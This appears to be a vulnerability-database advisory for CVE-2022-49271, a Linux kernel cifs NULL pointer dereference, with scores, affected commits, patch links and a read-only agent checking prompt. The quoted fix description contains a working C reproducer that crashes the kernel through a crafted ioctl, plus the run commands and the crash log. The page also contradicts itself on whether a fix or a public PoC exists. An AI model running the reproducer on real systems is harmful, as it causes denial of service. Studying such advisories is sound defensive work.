# CVE-2022-49271: cifs: prevent bad output lengths in smb2\_ioctl\_query\_info()

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** MEDIUM 5.5
- **CVSS:** 5.5 (v3.1, NVD) `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`
- **CVSS metrics:** Attack vector: Local; Attack complexity: Low; Privileges required: Low; User interaction: None; Scope: Unchanged; Confidentiality impact: None; Integrity impact: None; Availability impact: High
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Not remotely exploitable (local or adjacent access needed)
- **EPSS:** 0.28% (percentile 13, 2026-11-26)
- **CWE:** CWE-476
- **Published:** 2025-02-26T01:56:18.148Z
- **Modified:** 2026-06-17T05:17:33.593Z

## Who should check

- Anyone running Linux \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< 9963ccea6087268e1275b992dca5d0dd4b938765; \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< f143f8334fb9eb2f6c7c15b9da1472d9c965fd84; \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< fadddfc1dc3c6f79b21cff4a7e9a6c40b84fbc53; \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< 7529fbee10d82493c5cb109e51788bf74816d1c0; \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< b92e358757b91c2827af112cae9af513f26a3f34
- Anyone running Linux 5.5

## Description

In the Linux kernel, the following vulnerability has been resolved:

cifs: prevent bad output lengths in smb2\_ioctl\_query\_info()

When calling smb2\_ioctl\_query\_info() with
smb\_query\_info::flags=PASSTHRU\_FSCTL and
smb\_query\_info::output\_buffer\_length=0, the following would return
0x10

	buffer = memdup\_user(arg + sizeof(struct smb\_query\_info),
			     qi.output\_buffer\_length);
	if (IS\_ERR(buffer)) {
		kfree(vars);
		return PTR\_ERR(buffer);
	}

rather than a valid pointer thus making IS\_ERR() check fail.  This
would then cause a NULL ptr deference in @buffer when accessing it
later in smb2\_ioctl\_query\_ioctl().  While at it, prevent having a
@buffer smaller than 8 bytes to correctly handle SMB2\_SET\_INFO
FileEndOfFileInformation requests when
smb\_query\_info::flags=PASSTHRU\_SET\_INFO.

Here is a small C reproducer which triggers a NULL ptr in @buffer when
passing an invalid smb\_query\_info::flags

	\#include \<stdio.h\>
	\#include \<stdlib.h\>
	\#include \<stdint.h\>
	\#include \<unistd.h\>
	\#include \<fcntl.h\>
	\#include \<sys/ioctl.h\>

	\#define die(s) perror(s), exit(1)
	\#define QUERY\_INFO 0xc018cf07

	int main(int argc, char \*argv\[\])
	{
		int fd;

		if (argc \< 2)
			exit(1);
		fd = open(argv\[1\], O\_RDONLY);
		if (fd == -1)
			die("open");
		if (ioctl(fd, QUERY\_INFO, (uint32\_t\[\]) { 0, 0, 0, 4, 0, 0}) == -1)
			die("ioctl");
		close(fd);
		return 0;
	}

	mount.cifs //srv/share /mnt -o ...
	gcc repro.c && ./a.out /mnt/f0

	\[  114.138620\] general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 \[\#1\] PREEMPT SMP KASAN NOPTI
	\[  114.139310\] KASAN: null-ptr-deref in range \[0x0000000000000000-0x0000000000000007\]
	\[  114.139775\] CPU: 2 PID: 995 Comm: a.out Not tainted 5.17.0-rc8 \#1
	\[  114.140148\] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.15.0-0-g2dd4b9b-rebuilt.opensuse.org 04/01/2014
	\[  114.140818\] RIP: 0010:smb2\_ioctl\_query\_info+0x206/0x410 \[cifs\]
	\[  114.141221\] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c8 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 7b 28 4c 89 fa 48 c1 ea 03 \<80\> 3c 02 00 0f 85 9c 01 00 00 49 8b 3f e8 58 02 fb ff 48 8b 14 24
	\[  114.142348\] RSP: 0018:ffffc90000b47b00 EFLAGS: 00010256
	\[  114.142692\] RAX: dffffc0000000000 RBX: ffff888115503200 RCX: ffffffffa020580d
	\[  114.143119\] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffffa043a380
	\[  114.143544\] RBP: ffff888115503278 R08: 0000000000000001 R09: 0000000000000003
	\[  114.143983\] R10: fffffbfff4087470 R11: 0000000000000001 R12: ffff888115503288
	\[  114.144424\] R13: 00000000ffffffea R14: ffff888115503228 R15: 0000000000000000
	\[  114.144852\] FS:  00007f7aeabdf740(0000) GS:ffff888151600000(0000) knlGS:0000000000000000
	\[  114.145338\] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
	\[  114.145692\] CR2: 00007f7aeacfdf5e CR3: 000000012000e000 CR4: 0000000000350ee0
	\[  114.146131\] Call Trace:
	\[  114.146291\]  \<TASK\>
	\[  114.146432\]  ? smb2\_query\_reparse\_tag+0x890/0x890 \[cifs\]
	\[  114.146800\]  ? cifs\_mapchar+0x460/0x460 \[cifs\]
	\[  114.147121\]  ? rcu\_read\_lock\_sched\_held+0x3f/0x70
	\[  114.147412\]  ? cifs\_strndup\_to\_utf16+0x15b/0x250 \[cifs\]
	\[  114.147775\]  ? dentry\_path\_raw+0xa6/0xf0
	\[  114.148024\]  ? cifs\_convert\_path\_to\_utf16+0x198/0x220 \[cifs\]
	\[  114.148413\]  ? smb2\_check\_message+0x1080/0x1080 \[cifs\]
	\[  114.148766\]  ? rcu\_read\_lock\_sched\_held+0x3f/0x70
	\[  114.149065\]  cifs\_ioctl+0x1577/0x3320 \[cifs\]
	\[  114.149371\]  ? lock\_downgrade+0x6f0/0x6f0
	\[  114.149631\]  ? cifs\_readdir+0x2e60/0x2e60 \[cifs\]
	\[  114.149956\]  ? rcu\_read\_lock\_sched\_held+0x3f/0x70
	\[  114.150250\]  ? \_\_rseq\_handle\_notify\_resume+0x80b/0xbe0
	\[  114.150562\]  ? \_\_up\_read+0x192/0x710
	\[  114.150791\]  ? \_\_ia32\_sys\_rseq+0xf0/0xf0
	\[  114.151025\]  ? \_\_x64\_sys\_openat+0x11f/0x1d0
	\[  114.151296\]  \_\_x64\_sys\_ioctl+0x127/0x190
	\[  114.151549\]  do\_syscall\_64+0x3b/0x90
	\[  114.151768\]  entry\_SYSCALL\_64\_after\_hwframe+0x44/0xae
	\[  114.152079\] RIP: 0033:0x7f7aead043df
	\[  114.152306\] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24
---truncated---

## Affected and fixed versions

- Linux: \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< 9963ccea6087268e1275b992dca5d0dd4b938765; \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< f143f8334fb9eb2f6c7c15b9da1472d9c965fd84; \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< fadddfc1dc3c6f79b21cff4a7e9a6c40b84fbc53; \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< 7529fbee10d82493c5cb109e51788bf74816d1c0; \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< b92e358757b91c2827af112cae9af513f26a3f34 (cvelist)
- Linux: 5.5 (cvelist)

## Mitigation

- No fix listed yet: follow the vendor advisory.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2022-49271. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2022-49271.md
Affected: Linux >= cfaa1181097f6a1a6f4f6670ebc97848efda0883, < 9963ccea6087268e1275b992dca5d0dd4b938765; >= cfaa1181097f6a1a6f4f6670ebc97848efda0883, < f143f8334fb9eb2f6c7c15b9da1472d9c965fd84; >= cfaa1181097f6a1a6f4f6670ebc97848efda0883, < fadddfc1dc3c6f79b21cff4a7e9a6c40b84fbc53; >= cfaa1181097f6a1a6f4f667…
Fixed in: Linux 9963ccea6087268e1275b992dca5d0dd4b938765, Linux 7529fbee10d82493c5cb109e51788bf74816d1c0

Steps:
1. Search this machine and project for Linux: dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2022-49271 being exploited?

There is no confirmed exploitation: CVE-2022-49271 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known. EPSS estimates a 0.28% chance of exploitation in the next 30 days (as of 2026-11-26).

### How serious is CVE-2022-49271?

Medium: CVSS 5.5 (v3.1, scored by NVD). Not remotely exploitable (local or adjacent access needed).

### Which versions are affected by CVE-2022-49271?

Linux \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< 9963ccea6087268e1275b992dca5d0dd4b938765; \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< f143f8334fb9eb2f6c7c15b9da1472d9c965fd84; \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< fadddfc1dc3c6f79b21cff4a7e9a6c40b84fbc53; \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< 7529fbee10d82493c5cb109e51788bf74816d1c0; \>= cfaa1181097f6a1a6f4f6670ebc97848efda0883, \< b92e358757b91c2827af112cae9af513f26a3f34; Linux 5.5.

### Is there a fix for CVE-2022-49271?

Yes. Fixed in Linux 9963ccea6087268e1275b992dca5d0dd4b938765, Linux 7529fbee10d82493c5cb109e51788bf74816d1c0. No fix listed yet: follow the vendor advisory.

### How do I check if I'm affected by CVE-2022-49271?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- patch: <https://git.kernel.org/stable/c/9963ccea6087268e1275b992dca5d0dd4b938765>
- patch: <https://git.kernel.org/stable/c/f143f8334fb9eb2f6c7c15b9da1472d9c965fd84>
- patch: <https://git.kernel.org/stable/c/fadddfc1dc3c6f79b21cff4a7e9a6c40b84fbc53>
- patch: <https://git.kernel.org/stable/c/7529fbee10d82493c5cb109e51788bf74816d1c0>
- patch: <https://git.kernel.org/stable/c/b92e358757b91c2827af112cae9af513f26a3f34>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- NVD: This product uses data from the NVD API but is not endorsed or certified by the NVD. <https://nvd.nist.gov/vuln/detail/CVE-2022-49271>

HTML: <https://flawdb.com/CVE-2022-49271> · JSON: <https://flawdb.com/api/v1/entries/CVE-2022-49271>
